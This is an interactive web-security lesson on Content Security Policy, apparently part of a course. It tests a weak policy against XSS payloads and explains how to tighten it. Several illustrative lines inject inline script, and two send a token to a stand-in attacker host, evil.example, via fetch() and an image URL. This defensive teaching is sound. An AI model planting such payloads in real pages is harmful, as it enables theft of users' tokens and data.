Track 08 · Lesson 7 of 20Attacks and defenses

Track 08 · Attacks and defenses

Content Security Policy

Lesson 7 of 20· 8 min

A Content Security Policy is a response header listing where the page may load scripts, images and connections from. It’s the main containment for XSS: even if an attacker’s code gets in, it can’t run, or can’t phone home.

Write a policy, then attack it

Five attacks, plus two things your own app needs

script-src
connect-src
img-src

The response header

Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; connect-src https:; img-src https: data:; object-src 'none'; base-uri 'self'
  • Attack: Injected inline <script> (stored XSS)

    Runs
    <script>steal()</script>

    'unsafe-inline' lets every inline script run, the attacker’s included.

  • Attack: Injected onerror handler

    Runs
    <img src=x onerror="steal()">

    Inline handlers count as inline script.

  • Attack: Script loaded from the attacker’s server

    Blocked
    <script src="https://evil.example/x.js">

    evil.example isn’t on the script list.

  • Attack: Injected script with a copied nonce

    Runs
    <script nonce="Zk81aQp0x">steal()</script> // copied from the attacker’s own visit

    Doesn’t matter: 'unsafe-inline' already allows it.

  • Attack: Running script sends data out with fetch()

    Runs
    fetch("https://evil.example/c", { method: "POST", body: token })

    connect-src https: allows any HTTPS host.

  • Attack: Running script leaks data in an image URL

    Runs
    new Image().src = "https://evil.example/p?d=" + token

    img-src https: allows any image host, and the query string carries the data.

  • Your app: Your framework’s own inline script

    Works
    <script>self.__next_f.push(…)</script>

    Runs, but only because the attacker’s inline scripts run too.

  • Your app: A charting library that calls eval()

    Works
    new Function("return " + expr)

    Allowed by 'unsafe-eval', which also lets injected code eval strings.

1 of 6 attacks contained, 2 of 2 app features working.

The directives that matter#

  • script-src: which code may run. The heart of the policy.
  • connect-src: where fetch and WebSockets may go. Stops a running script sending data out.
  • img-src: where images may load from. Image URLs can carry data out too.
  • object-src 'none' and base-uri 'self': close two old tricks.

The words that empty the list#

'unsafe-inline' lets every inline script run, which is exactly what XSS injects. 'unsafe-eval' lets code turn strings into code. A bare https: allows every HTTPS host on the internet, the attacker’s included. A policy containing any of them looks protective and contains very little.

Nonces, and what they cost#

A nonce is a random value generated for each response. The server puts it in the header and on each of its own script tags; injected scripts don’t know it. The catch: the value must change on every response, so pages can’t be served from a static cache. In Next.js that means dynamic rendering for pages that use nonces. Tick “Page is cached” in the lab to see why a fixed nonce is no protection at all.

Roll it out without breaking things#

Start with Content-Security-Policy-Report-Only: the browser reports what it would block, and blocks nothing. Fix what breaks, then switch the header name.

In a code review

MediumFrontend

Content Security Policy that does not contain XSS

Fix: Move to nonce- or hash-based script-src, drop 'unsafe-eval', and list exact connect-src hosts. Plan it as a project and retest third-party scripts.

0 of 3 checked

Check yourself

Your CSP has script-src ‘self’ ‘unsafe-inline’. Does it stop an injected onerror handler?